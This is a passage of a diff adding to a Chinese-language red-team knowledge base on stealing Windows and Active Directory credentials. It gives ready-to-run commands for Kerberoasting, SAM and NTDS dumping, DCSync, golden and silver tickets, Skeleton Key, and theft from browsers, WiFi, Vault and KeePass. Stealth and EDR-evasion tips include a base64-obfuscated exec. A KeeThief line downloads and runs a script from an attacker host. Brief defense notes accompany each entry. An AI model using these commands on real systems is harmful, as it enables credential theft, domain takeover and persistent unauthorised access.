+ **分析:** Kerberoasting可以获取服务账户的Kerberos票据,离线破解后得到明文密码。
188
+
189
+ **OPSEC 提示:**
190
+ - Kerberoasting不需要高权限
191
+ - 只需要任意域用户凭证
192
+ - 建议使用RC4加密避免检测
193
+
194
+ **概述:** Kerberoasting是一种针对Kerberos协议的攻击,攻击者可以请求服务票据并离线破解服务账户密码。
195
+
196
+ **漏洞原理:** Kerberos服务票据使用服务账户密码加密,攻击者可以请求票据后离线破解。服务账户通常密码复杂度较低。
197
+
198
+ **利用方法:** 利用流程:1) 获取任意域用户凭证;2) 查询域内SPN;3) 请求服务票据;4) 导出票据;5) 离线破解密码。
199
+
200
+ **防御措施:** 防御措施:1) 服务账户使用强密码;2) 监控异常的票据请求;3) 定期轮换服务账户密码;4) 部署蜜罐账户检测攻击。
201
+
202
+ ---
203
+
204
+ ### AS-REP Roasting `asreproasting`
205
+ _AS-REP Roasting攻击获取用户哈希_
206
+ 子类:**Kerberos** · tags: `asreproasting` `kerberos` `active-directory`
207
+
208
+ **前置条件:**
209
+ - 域环境
210
+ - 域中存在禁用Pre-auth的用户
211
+
212
+ **攻击链:**
213
+
214
+ **Rubeus攻击**
215
+ > 使用Rubeus进行AS-REP Roasting
216
+ _platform: windows_
217
+ ```
218
+ Rubeus.exe asreproast
219
+ ```
220
+
221
+ **Impacket攻击**
222
+ > 使用Impacket获取AS-REP
223
+ _platform: linux_
224
+ ```
225
+ GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt
226
+ ```
227
+ **语法解析:**
228
+ - `GetNPUsers.py` — Impacket AS-REP Roasting工具 _command_
229
+ - `-usersfile` — 用户列表文件 _parameter_
230
+ - `-format hashcat` — 输出hashcat格式 _parameter_
231
+
232
+ **查找禁用Pre-auth用户**
233
+ > 查找禁用Pre-auth的用户
234
+ _platform: windows_
235
+ ```
236
+ Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
237
+ ```
238
+
239
+ **破解哈希**
240
+ > 使用Hashcat破解AS-REP哈希
241
+ _platform: linux_
242
+ ```
243
+ hashcat -m 18200 asrep.hash wordlist.txt
244
+ ```
245
+ **语法解析:**
246
+ - `-m 18200` — Kerberos 5 AS-REP模式 _parameter_
247
+
248
+
249
+ **分析:** AS-REP Roasting可以获取禁用Pre-auth用户的哈希,离线破解后得到明文密码。
250
+
251
+ **OPSEC 提示:**
252
+ - 不需要任何凭证
253
+ - 只需要用户名
254
+ - 禁用Pre-auth是错误配置
255
+
256
+ **概述:** AS-REP Roasting是一种针对禁用Kerberos Pre-authentication用户的攻击。
257
+
258
+ **漏洞原理:** 禁用Pre-auth的用户可以直接获取AS-REP,其中包含可离线破解的哈希。
259
+
260
+ **利用方法:** 利用流程:1) 查找禁用Pre-auth的用户;2) 请求AS-REP;3) 提取哈希;4) 离线破解。
261
+
262
+ **防御措施:** 防御措施:1) 启用所有用户的Pre-auth;2) 监控异常的AS-REQ;3) 使用强密码。
263
+
264
+ ---
265
+
266
+ ### LaZagne凭证抓取 `lazagne-creds`
267
+ _使用LaZagne抓取各种应用程序凭证_
268
+ 子类:**工具** · tags: `lazagne` `credentials` `browsers` `applications`
269
+
270
+ **前置条件:**
271
+ - 目标机器访问权限
272
+ - LaZagne工具
273
+
274
+ **攻击链:**
275
+
276
+ **抓取所有凭证**
277
+ > 抓取所有支持的凭证
278
+ _platform: windows_
279
+ ```
280
+ laZagne.exe all
281
+ ```
282
+ **语法解析:**
283
+ - `laZagne.exe` — LaZagne凭证抓取工具 _command_
284
+ - `all` — 抓取所有模块 _parameter_
285
+
286
+ **浏览器凭证**
287
+ > 抓取浏览器保存的密码
288
+ _platform: windows_
289
+ ```
290
+ laZagne.exe browsers
291
+ ```
292
+
293
+ **WiFi凭证**
294
+ > 抓取WiFi密码
295
+ _platform: windows_
296
+ ```
297
+ laZagne.exe wifi
298
+ ```
299
+
300
+ **邮件客户端**
301
+ > 抓取邮件客户端密码
302
+ _platform: windows_
303
+ ```
304
+ laZagne.exe mails
305
+ ```
306
+
307
+ **数据库凭证**
308
+ > 抓取数据库客户端密码
309
+ _platform: windows_
310
+ ```
311
+ laZagne.exe databases
312
+ ```
313
+
314
+ **Linux版本**
315
+ > Linux版本抓取
316
+ _platform: linux_
317
+ ```
318
+ python laZagne.py all
319
+ ```
320
+
321
+ **EDR 绕过变体:**
322
+
323
+ **混淆执行**
324
+ > Base64编码执行
325
+ ```
326
+ python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))"
327
+ ```
328
+
329
+
330
+ **分析:** LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。
331
+
332
+ **OPSEC 提示:**
333
+ - LaZagne会被杀软检测
334
+ - 考虑使用混淆或内存加载
335
+ - 可以只运行特定模块
336
+
337
+ **概述:** LaZagne是一款开源的凭证抓取工具,支持从多种应用程序中提取保存的密码。
338
+
339
+ **漏洞原理:** 许多应用程序以不安全的方式存储用户凭证,LaZagne可以提取这些凭证。
340
+
341
+ **利用方法:** 利用流程:1) 获取目标机器访问权限;2) 运行LaZagne;3) 提取凭证;4) 使用凭证横向移动。
342
+
343
+ **防御措施:** 防御措施:1) 不在应用程序中保存密码;2) 使用密码管理器;3) 监控异常进程。
344
+
345
+ ---
346
+
347
+ ### SAM数据库导出 `sam-dump`
348
+ _导出Windows SAM数据库获取本地账户哈希_
349
+ 子类:**SAM** · tags: `sam` `hash` `windows` `local`
350
+
351
+ **前置条件:**
352
+ - 管理员权限
353
+ - Windows系统
354
+
355
+ **攻击链:**
356
+
357
+ **reg导出**
358
+ > 导出SAM和SYSTEM配置单元
359
+ _platform: windows_
360
+ ```
361
+ reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
362
+ ```
363
+ **语法解析:**
364
+ - `reg save` — 注册表导出命令 _command_
365
+ - `HKLM\SAM` — SAM配置单元路径 _value_
366
+ - `sam.hive` — 输出文件名 _value_
367
+
368
+ **Impacket解析**
369
+ > 使用Impacket解析SAM
370
+ _platform: linux_
371
+ ```
372
+ secretsdump.py -sam sam.hive -system system.hive LOCAL
373
+ ```
374
+ **语法解析:**
375
+ - `secretsdump.py` — Impacket凭证转储工具 _command_
376
+ - `-sam` — SAM文件 _parameter_
377
+ - `-system` — SYSTEM文件 _parameter_
378
+
379
+ **Mimikatz导出**
380
+ > 使用Mimikatz导出SAM
381
+ _platform: windows_
382
+ ```
383
+ mimikatz.exe "lsadump::sam" "exit"
384
+ ```
385
+
386
+ **Volume Shadow Copy**
387
+ > 从卷影副本复制SAM
388
+ _platform: windows_
389
+ ```
390
+ vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive
391
+ ```
392
+
393
+
394
+ **分析:** SAM数据库包含本地账户的NTLM哈希,可以用于破解或Pass-the-Hash。
395
+
396
+ **OPSEC 提示:**
397
+ - 需要管理员权限
398
+ - 操作注册表可能触发告警
399
+ - 卷影副本方法更隐蔽
400
+
401
+ **概述:** SAM数据库存储Windows本地账户的密码哈希,可以导出后离线破解或用于Pass-the-Hash。
402
+
403
+ **漏洞原理:** SAM数据库可以被管理员访问,其中的哈希可以用于离线破解或Pass-the-Hash攻击。
404
+
405
+ **利用方法:** 利用流程:1) 获取管理员权限;2) 导出SAM和SYSTEM;3) 提取哈希;4) 破解或PtH。
406
+
407
+ **防御措施:** 防御措施:1) 禁用本地管理员账户;2) 使用强密码;3) 监控注册表访问。
408
+
409
+ ---
410
+
411
+ ### NTDS.dit导出 `ntds-dump`
412
+ _导出Active Directory数据库获取所有域用户哈希_
413
+ 子类:**NTDS** · tags: `ntds` `active-directory` `hash` `domain`
414
+
415
+ **前置条件:**
416
+ - 域管理员权限
417
+ - 域控制器访问权限
418
+
419
+ **攻击链:**
420
+
421
+ **ntdsutil快照**
422
+ > 使用ntdsutil创建IFM快照
423
+ _platform: windows_
424
+ ```
425
+ ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit"
426
+ ```
427
+ **语法解析:**
428
+ - `ntdsutil` — Active Directory数据库工具 _command_
429
+ - `activate instance ntds` — 激活NTDS实例 _command_
430
+ - `ifm` — Install From Media模式 _command_
431
+
432
+ **Volume Shadow Copy**
433
+ > 从卷影副本复制NTDS.dit
434
+ _platform: windows_
435
+ ```
436
+ vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
437
+ ```
438
+
439
+ **Impacket解析**
440
+ > 使用Impacket解析NTDS.dit
441
+ _platform: linux_
442
+ ```
443
+ secretsdump.py -ntds ntds.dit -system system.hive LOCAL
444
+ ```
445
+
446
+ **Impacket远程转储**
447
+ > 远程转储域哈希
448
+ _platform: linux_
449
+ ```
450
+ secretsdump.py domain/admin:password@dc_ip -just-dc
451
+ ```
452
+ **语法解析:**
453
+ - `-just-dc` — 只转储域数据 _parameter_
454
+
455
+ **Mimikatz DCSync**
456
+ > 使用DCSync同步所有哈希
457
+ _platform: windows_
458
+ ```
459
+ mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
460
+ ```
461
+
462
+
463
+ **分析:** NTDS.dit包含域内所有用户的哈希,可以用于破解或Pass-the-Hash。
464
+
465
+ **OPSEC 提示:**
466
+ - 需要域管理员权限
467
+ - DCSync方法更隐蔽
468
+ - 操作可能触发大量告警
469
+
470
+ **概述:** NTDS.dit是Active Directory数据库,包含域内所有用户的密码哈希。
471
+
472
+ **漏洞原理:** 域管理员可以导出NTDS.dit或使用DCSync获取所有用户哈希。
473
+
474
+ **利用方法:** 利用流程:1) 获取域管理员权限;2) 导出NTDS.dit或使用DCSync;3) 提取所有哈希;4) 破解或PtH。
475
+
476
+ **防御措施:** 防御措施:1) 监控域管理员活动;2) 审计DCSync操作;3) 使用强密码。
477
+
478
+ ---
479
+
480
+ ### GPP密码提取 `gpp-password`
481
+ _提取组策略首选项中的密码_
482
+ 子类:**GPP** · tags: `gpp` `group-policy` `password` `xml`
483
+
484
+ **前置条件:**
485
+ - 域环境
486
+ - 任意域用户凭证
487
+
488
+ **攻击链:**
489
+
490
+ **查找GPP文件**
491
+ > 查找SYSVOL中的XML文件
492
+ _platform: linux_
493
+ ```
494
+ find /domain/sysvol -name "*.xml" 2>/dev/null
495
+ ```
496
+
497
+ **PowerShell查找**
498
+ > PowerShell查找GPP文件
499
+ _platform: windows_
500
+ ```
501
+ Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"}
502
+ ```
503
+
504
+ **PowerView提取**
505
+ > 使用PowerView提取GPP密码
506
+ _platform: windows_
507
+ ```
508
+ Get-NetGPPPassword
509
+ ```
510
+
511
+ **gpp-decrypt**
512
+ > 解密GPP密码哈希
513
+ _platform: linux_
514
+ ```
515
+ gpp-decrypt HASH
516
+ ```
517
+ **语法解析:**
518
+ - `gpp-decrypt` — GPP密码解密工具 _command_
519
+
520
+ **Impacket提取**
521
+ > 使用Impacket提取GPP密码
522
+ _platform: linux_
523
+ ```
524
+ Get-GPPPassword.py domain/user:password@dc_ip
525
+ ```
526
+
527
+
528
+ **分析:** GPP密码使用公开的密钥加密,可以被解密获取明文密码。
529
+
530
+ **OPSEC 提示:**
531
+ - GPP密码是常见的信息泄露点
532
+ - 只需要普通域用户权限
533
+ - MS14-025修复后新密码不会被存储
534
+
535
+ **概述:** 组策略首选项(GPP)可以存储本地管理员密码,使用公开密钥加密,可以被解密。
536
+
537
+ **漏洞原理:** GPP使用公开的AES密钥加密密码,任何人都可以解密。
538
+
539
+ **利用方法:** 利用流程:1) 访问SYSVOL;2) 查找GPP XML文件;3) 提取cpassword;4) 解密密码。
540
+
541
+ **防御措施:** 防御措施:1) 安装MS14-025补丁;2) 删除现有的GPP密码;3) 使用LAPS管理本地管理员密码。
542
+
543
+ ---
544
+
545
+ ### Mimikatz高级技巧 `mimikatz-advanced`
546
+ _Mimikatz高级凭证提取和利用技术_
547
+ 子类:**Mimikatz** · tags: `mimikatz` `credentials` `advanced`
548
+
549
+ **前置条件:**
550
+ - 管理员权限
551
+ - Mimikatz工具
552
+
553
+ **攻击链:**
554
+
555
+ **DCSync攻击**
556
+ > 模拟DC同步获取域管哈希
557
+ _platform: windows_
558
+ ```
559
+ lsadump::dcsync /domain:domain.com /user:Administrator
560
+ ```
561
+ **语法解析:**
562
+ - `lsadump::dcsync` — DCSync模块,模拟域控制器复制 _command_
563
+ - `/domain:domain.com` — 目标域名 _parameter_
564
+ - `/user:Administrator` — 目标用户,获取其NTLM哈希 _parameter_
565
+
566
+ **黄金票据生成**
567
+ > 生成黄金票据并注入
568
+ _platform: windows_
569
+ ```
570
+ kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
571
+ ```
572
+ **语法解析:**
573
+ - `kerberos::golden` — 黄金票据模块 _command_
574
+ - `/sid:S-1-5-21-xxx` — 域SID _parameter_
575
+ - `/krbtgt:HASH` — krbtgt账户NTLM哈希 _parameter_
576
+ - `/ptt` — Pass-the-Ticket,直接注入内存 _parameter_
577
+
578
+ **白银票据生成**
579
+ > 生成白银票据访问特定服务
580
+ _platform: windows_
581
+ ```
582
+ kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
583
+ ```
584
+ **语法解析:**
585
+ - `/target:server` — 目标服务器 _parameter_
586
+ - `/service:cifs` — 服务类型,CIFS为文件共享 _parameter_
587
+ - `/rc4:HASH` — 服务账户NTLM哈希 _parameter_
588
+
589
+ **Skeleton Key植入**
590
+ > 植入万能密码mimikatz
591
+ _platform: windows_
592
+ ```
593
+ privilege::debug
594
+ misc::skeleton
595
+ ```
596
+ **语法解析:**
597
+ - `privilege::debug` — 获取Debug权限 _command_
598
+ - `misc::skeleton` — 植入Skeleton Key,密码为mimikatz _command_
599
+
600
+
601
+ **概述:** Mimikatz高级功能包括DCSync、黄金票据、白银票据等域持久化技术。
602
+
603
+ **漏洞原理:** 域控制器复制协议缺乏认证,Kerberos设计缺陷。
604
+
605
+ **利用方法:** 利用流程:1) 获取krbtgt哈希 2) 生成黄金票据 3) 持久化访问
606
+
607
+ **防御措施:** 防御措施:1) 监控DCSync行为 2) 定期更换krbtgt密码 3) 启用PAM
608
+
609
+ ---
610
+
611
+ ### 浏览器凭证提取 `browser-creds`
612
+ _从浏览器中提取保存的密码和Cookie_
613
+ 子类:**浏览器** · tags: `browser` `credentials` `chrome` `firefox`
614
+
615
+ **前置条件:**
616
+ - 用户权限
617
+ - 浏览器已保存密码
618
+
619
+ **攻击链:**
620
+
621
+ **Chrome密码提取**
622
+ > 复制Chrome登录数据库
623
+ _platform: windows_
624
+ ```
625
+ Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data"
626
+ ```
627
+
628
+ **Chrome Cookie提取**
629
+ > 复制Chrome Cookie数据库
630
+ _platform: windows_
631
+ ```
632
+ Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies"
633
+ ```
634
+
635
+ **使用SharpWeb**
636
+ > 使用SharpWeb提取浏览器凭证
637
+ _platform: windows_
638
+ ```
639
+ SharpWeb.exe --browser chrome
640
+ ```
641
+
642
+ **使用HackBrowserData**
643
+ > 提取Chrome所有数据
644
+ ```
645
+ hack-browser-data.exe -b chrome
646
+ ```
647
+
648
+
649
+ **概述:** 浏览器保存的密码和Cookie可被提取用于横向移动。
650
+
651
+ **漏洞原理:** 浏览器使用DPAPI加密,用户登录后可解密。
652
+
653
+ **利用方法:** 利用流程:1) 定位浏览器数据文件 2) 复制数据库 3) 解密提取
654
+
655
+ **防御措施:** 防御措施:1) 不保存敏感密码 2) 使用主密码 3) 监控数据访问
656
+
657
+ ---
658
+
659
+ ### DPAPI凭证提取 `dpapi-creds`
660
+ _从DPAPI保护存储中提取凭证_
661
+ 子类:**DPAPI** · tags: `dpapi` `credentials` `windows`
662
+
663
+ **前置条件:**
664
+ - 用户权限
665
+ - DPAPI master key
666
+
667
+ **攻击链:**
668
+
669
+ **枚举DPAPI凭据**
670
+ > 查找DPAPI保护的凭据文件
671
+ _platform: windows_
672
+ ```
673
+ Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force
674
+ ```
675
+
676
+ **使用Mimikatz解密**
677
+ > 解密DPAPI凭据
678
+ _platform: windows_
679
+ ```
680
+ dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX
681
+ ```
682
+
683
+ **获取Master Key**
684
+ > 从内存获取DPAPI master key
685
+ _platform: windows_
686
+ ```
687
+ sekurlsa::dpapi
688
+ ```
689
+
690
+
691
+ **概述:** DPAPI是Windows数据保护API,用于保护敏感数据。
692
+
693
+ **漏洞原理:** DPAPI密钥存储在内存中,可被提取。
694
+
695
+ **利用方法:** 利用流程:1) 获取master key 2) 定位凭据文件 3) 解密
696
+
697
+ **防御措施:** 防御措施:1) 限制内存访问 2) 监控DPAPI调用 3) 使用Credential Guard
698
+
699
+ ---
700
+
701
+ ### RDP凭证提取 `rdp-creds`
702
+ _提取保存的RDP连接密码_
703
+ 子类:**RDP** · tags: `rdp` `credentials` `windows`
704
+
705
+ **前置条件:**
706
+ - 用户权限
707
+ - 已保存RDP密码
708
+
709
+ **攻击链:**
710
+
711
+ **查找RDP文件**
712
+ > 查找RDP连接文件
713
+ _platform: windows_
714
+ ```
715
+ Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse
716
+ ```
717
+
718
+ **提取RDP密码**
719
+ > 列出保存的凭据
720
+ _platform: windows_
721
+ ```
722
+ cmdkey /list
723
+ ```
724
+
725
+ **使用Mimikatz**
726
+ > 解密RDP保存的密码
727
+ _platform: windows_
728
+ ```
729
+ dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX
730
+ ```
731
+
732
+
733
+ **概述:** RDP保存的密码存储在DPAPI保护的凭据管理器中。
734
+
735
+ **漏洞原理:** RDP密码可被提取用于横向移动。
736
+
737
+ **利用方法:** 利用流程:1) 查找RDP文件 2) 定位凭据 3) 解密密码
738
+
739
+ **防御措施:** 防御措施:1) 不保存RDP密码 2) 使用受限管理员模式
740
+
741
+ ---
742
+
743
+ ### WiFi凭证提取 `wifi-creds`
744
+ _提取保存的WiFi密码_
745
+ 子类:**WiFi** · tags: `wifi` `credentials` `windows`
746
+
747
+ **前置条件:**
748
+ - 管理员权限
749
+ - 已连接WiFi
750
+
751
+ **攻击链:**
752
+
753
+ **列出WiFi配置文件**
754
+ > 显示所有WiFi配置文件
755
+ _platform: windows_
756
+ ```
757
+ netsh wlan show profiles
758
+ ```
759
+
760
+ **提取WiFi密码**
761
+ > 显示WiFi密码
762
+ _platform: windows_
763
+ ```
764
+ netsh wlan show profile name="WiFi_Name" key=clear
765
+ ```
766
+ **语法解析:**
767
+ - `netsh wlan show profile` — 显示WiFi配置 _command_
768
+ - `name="WiFi_Name"` — 指定WiFi名称 _parameter_
769
+ - `key=clear` — 以明文显示密码 _parameter_
770
+
771
+
772
+ **概述:** Windows保存的WiFi密码可通过netsh命令提取。
773
+
774
+ **漏洞原理:** WiFi密码以明文存储,管理员可查看。
775
+
776
+ **利用方法:** 利用流程:1) 列出WiFi配置 2) 显示密码
777
+
778
+ **防御措施:** 防御措施:1) 使用企业认证 2) 定期更换密码
779
+
780
+ ---
781
+
782
+ ### Windows Vault凭证 `vault-creds`
783
+ _从Windows凭据管理器提取凭证_
784
+ 子类:**Vault** · tags: `vault` `credentials` `windows`
785
+
786
+ **前置条件:**
787
+ - 用户权限
788
+ - 已保存凭据
789
+
790
+ **攻击链:**
791
+
792
+ **列出Vault凭据**
793
+ > 列出所有Vault
794
+ _platform: windows_
795
+ ```
796
+ vaultcmd /list
797
+ ```
798
+
799
+ **导出Vault凭据**
800
+ > 列出Windows凭据
801
+ _platform: windows_
802
+ ```
803
+ vaultcmd /listcreds:"Windows Credentials" /all
804
+ ```
805
+
806
+ **使用Mimikatz**
807
+ > 从内存提取凭据管理器密码
808
+ _platform: windows_
809
+ ```
810
+ sekurlsa::credman
811
+ ```
812
+
813
+
814
+ **概述:** Windows凭据管理器存储各种应用密码。
815
+
816
+ **漏洞原理:** 凭据存储在内存中,可被提取。
817
+
818
+ **利用方法:** 利用流程:1) 列出Vault 2) 提取凭据
819
+
820
+ **防御措施:** 防御措施:1) 不保存敏感凭据 2) 使用Windows Hello
821
+
822
+ ---
823
+
824
+ ### KeePass凭证提取 `keepass-dump`
825
+ _从KeePass数据库提取密码_
826
+ 子类:**KeePass** · tags: `keepass` `credentials` `password-manager`
827
+
828
+ **前置条件:**
829
+ - KeePass数据库文件
830
+ - 主密码或内存转储
831
+
832
+ **攻击链:**
833
+
834
+ **查找KeePass数据库**
835
+ > 搜索KeePass数据库文件
836
+ _platform: windows_
837
+ ```
838
+ Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
839
+ ```
840
+
841
+ **内存提取主密码**
842
+ > 从KeePass进程内存提取
843
+ _platform: windows_
844
+ ```
845
+ 使用KeePassDump或KeeThief从内存提取主密码
846
+ ```
847
+
848
+ **使用KeeThief**
849
+ > PowerShell提取KeePass密码
850
+ _platform: windows_
851
+ ```
852
+ powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw # security-allowlist: SEC005
853
+ ```
854
+
855
+
856
+ **概述:** KeePass主密码可能存在于内存中。
857
+
858
+ **漏洞原理:** KeePass在内存中保存解密后的数据。
859
+
860
+ **利用方法:** 利用流程:1) 找到数据库文件 2) 提取主密码 3) 解密数据库
861
+
862
+ **防御措施:** 防御措施:1) 使用强主密码 2) 启用安全桌面 3) 定期更换密码
863
+
864
+ ---
865
+
866
+ ### LSA Secrets提取 `lsa-secrets`
867
+ _从LSA Secrets提取敏感数据_
868
+ 子类:**LSA** · tags: `lsa` `secrets` `windows`
869
+
870
+ **前置条件:**
871
+ - SYSTEM权限
872
+
873
+ **攻击链:**
874
+
875
+ **使用Mimikatz**
876
+ > 提取LSA Secrets
877
+ _platform: windows_
878
+ ```
879
+ lsadump::secrets
880
+ ```
881
+
882
+ **使用reg save**
883
+ > 导出注册表hive离线分析
884
+ _platform: windows_
885
+ ```
886
+ reg save HKLM\SECURITY security.hive
887
+ reg save HKLM\SYSTEM system.hive
888
+ ```
889
+
890
+ **使用Impacket**
891
+ > 离线提取LSA Secrets
892
+ _platform: linux_
893
+ ```
894
+ secretsdump.py -security security.hive -system system.hive LOCAL
895
+ ```
896
+
897
+
898
+ **概述:** LSA Secrets存储服务账户密码、缓存域密码等。
899
+
900
+ **漏洞原理:** LSA Secrets可被SYSTEM权限用户提取。
901
+
902
+ **利用方法:** 利用流程:1) 获取SYSTEM权限 2) 提取LSA Secrets
903
+
904
+ **防御措施:** 防御措施:1) 限制SYSTEM权限 2) 使用Credential Guard
905
+
906
+ ---
907
+
908
+ ### 缓存凭证提取 `cached-creds`
909
+ _提取域缓存凭证_
910
+ 子类:**缓存** · tags: `cached` `credentials` `domain`
911
+
912
+ **前置条件:**
913
+ - SYSTEM权限
914
+ - 域环境
915
+
916
+ **攻击链:**
917
+
918
+ **使用Mimikatz**
919
+ > 提取缓存域凭证
920
+ _platform: windows_
921
+ ```
922
+ lsadump::cache
923
+ ```
924
+
925
+ **使用reg save**
926
+ > 导出SECURITY hive
927
+ _platform: windows_
928
+ ```
929
+ reg save HKLM\SECURITY security.hive
930
+ ```
931
+
932
+ **离线破解**
933
+ > 缓存凭证可离线破解
934
+ _platform: linux_
935
+ ```
936
+ 使用hashcat破解缓存的域凭证
937
+ ```
938
+
939
+
940
+ **概述:** Windows缓存域用户凭证以便离线登录。
941
+
942
+ **漏洞原理:** 缓存凭证可被提取和破解。
943
+
944
+ **利用方法:** 利用流程:1) 提取缓存凭证 2) 离线破解
945
+
946
+ **防御措施:** 防御措施:1) 减少缓存数量 2) 使用强密码
947
+
948
+ ---
949
+
950
+ ### DCSync攻击 `dcsync-attack`
951
+ _模拟域控制器同步获取凭证_
952
+ 子类:**域渗透** · tags: `dcsync` `domain-controller` `mimikatz`
953
+
954
+ **前置条件:**
955
+ - 域管理员权限或特定权限
956
+
957
+ **攻击链:**
958
+
959
+ **使用Mimikatz**
960
+ > 使用Mimikatz执行DCSync
961
+ _platform: windows_
962
+ ```
963
+ mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator
964
+ ```
965
+ **语法解析:**
966
+ - `lsadump::dcsync` — DCSync模块 _command_
967
+ - `/domain:domain.com` — 目标域名 _parameter_
968
+ - `/user:Administrator` — 目标用户 _parameter_
969
+
970
+ **使用impacket**
971
+ > 使用impacket执行DCSync
972
+ _platform: linux_
973
+ ```
974
+ python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip
975
+ ```
976
+
977
+ **导出所有哈希**
978
+ > 导出域内所有用户哈希
979
+ _platform: windows_
980
+ ```
981
+ mimikatz # lsadump::dcsync /domain:domain.com /all /csv
982
+ ```
983
+
984
+ **权限要求**
985
+ > DCSync所需权限
986
+ ```
987
+ 需要以下权限之一:
988
+ - Domain Admin
989
+ - Enterprise Admin
990
+ - 复制目录更改权限
991
+ ```
992
+
993
+
994
+ **概述:** DCSync模拟域控制器复制获取所有凭证。
995
+
996
+ **漏洞原理:** 域复制协议缺乏足够的认证验证。
997
+
998
+ **利用方法:** 利用流程:1) 获取高权限 2) 执行DCSync 3) 获取所有哈希
999
+
1000
+ **防御措施:** 防御措施:1) 监控DCSync行为 2) 最小权限原则 3) 审计复制权限
1001
+
1002
+ ---
1003
+
1004
+ ### 黄金票据攻击 `golden-ticket`
1005
+ _使用krbtgt哈希生成黄金票据_
1006
+ 子类:**域持久化** · tags: `golden-ticket` `krbtgt` `kerberos`
1007
+
1008
+ **前置条件:**
1009
+ - krbtgt账户哈希
1010
+ - 域SID
1011
+
1012
+ **攻击链:**
1013
+
1014
+ **获取krbtgt哈希**
1015
+ > 获取krbtgt账户哈希
1016
+ _platform: windows_
1017
+ ```
1018
+ mimikatz # lsadump::lsa /inject /name:krbtgt
1019
+ ```
1020
+
1021
+ **获取域SID**
1022
+ > 获取域SID
1023
+ _platform: windows_
1024
+ ```
1025
+ whoami /user
1026
+ 或: wmic useraccount get sid
1027
+ ```
1028
+
1029
+ **生成黄金票据**
1030
+ > 生成并注入黄金票据
1031
+ _platform: windows_
1032
+ ```
1033
+ mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
1034
+ ```
1035
+ **语法解析:**
1036
+ - `kerberos::golden` — 黄金票据模块 _command_
1037
+ - `/user:Administrator` — 伪造的用户 _parameter_
1038
+ - `/sid:S-1-5-21-xxx` — 域SID _parameter_
1039
+ - `/krbtgt:HASH` — krbtgt NTLM哈希 _parameter_
1040
+ - `/ptt` — 直接注入内存 _parameter_
1041
+
1042
+ **验证票据**
1043
+ > 验证黄金票据是否有效
1044
+ _platform: windows_
1045
+ ```
1046
+ klist
1047
+ 或: dir \\dc.domain.com\c$
1048
+ ```
1049
+
1050
+
1051
+ **概述:** 黄金票据可持久化访问整个域。
1052
+
1053
+ **漏洞原理:** krbtgt密码很少更改,票据有效期长。
1054
+
1055
+ **利用方法:** 利用流程:1) 获取krbtgt哈希 2) 生成票据 3) 持久化访问
1056
+
1057
+ **防御措施:** 防御措施:1) 定期更换krbtgt密码 2) 监控异常票据 3) 使用PAM
1058
+
1059
+ ---
1060
+
1061
+ ### 白银票据攻击 `silver-ticket`
1062
+ _使用服务账户哈希生成白银票据_
1063
+ 子类:**域持久化** · tags: `silver-ticket` `kerberos` `service`
1064
+
1065
+ **前置条件:**
1066
+ - 服务账户哈希
1067
+ - 域SID
1068
+
1069
+ **攻击链:**
1070
+
1071
+ **获取服务哈希**
1072
+ > 获取服务账户哈希
1073
+ _platform: windows_
1074
+ ```
1075
+ mimikatz # sekurlsa::logonpasswords
1076
+ 寻找服务账户NTLM哈希
1077
+ ```
1078
+
1079
+ **生成白银票据**
1080
+ > 生成针对特定服务的票据
1081
+ _platform: windows_
1082
+ ```
1083
+ mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt
1084
+ ```
1085
+ **语法解析:**
1086
+ - `/target:server.domain.com` — 目标服务器 _parameter_
1087
+ - `/service:cifs` — 服务类型(CIFS) _parameter_
1088
+ - `/rc4:HASH` — 服务账户NTLM哈希 _parameter_
1089
+
1090
+ **常见服务类型**
1091
+ > 可伪造的服务类型
1092
+ ```
1093
+ CIFS - 文件共享
1094
+ HTTP - Web服务
1095
+ LDAP - 目录服务
1096
+ MSSQLSvc - SQL服务
1097
+ HOST - 远程管理
1098
+ ```
1099
+
1100
+
1101
+ **概述:** 白银票据针对特定服务,比黄金票据更隐蔽。
1102
+
1103
+ **漏洞原理:** 服务账户密码可被获取。
1104
+
1105
+ **利用方法:** 利用流程:1) 获取服务哈希 2) 生成票据 3) 访问服务
1106
+
1107
+ **防御措施:** 防御措施:1) 服务账户强密码 2) 监控异常票据 3) 定期轮换密码
1108
+
1109
+ ---
1110
+
1111
+ ### 无人值守安装凭证提取 `unattended-creds`
1112
+ _从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证_
1113
+ 子类:**文件凭证** · tags: `credentials` `unattend` `sysprep` `privilege-escalation` `windows`
1114
+
1115
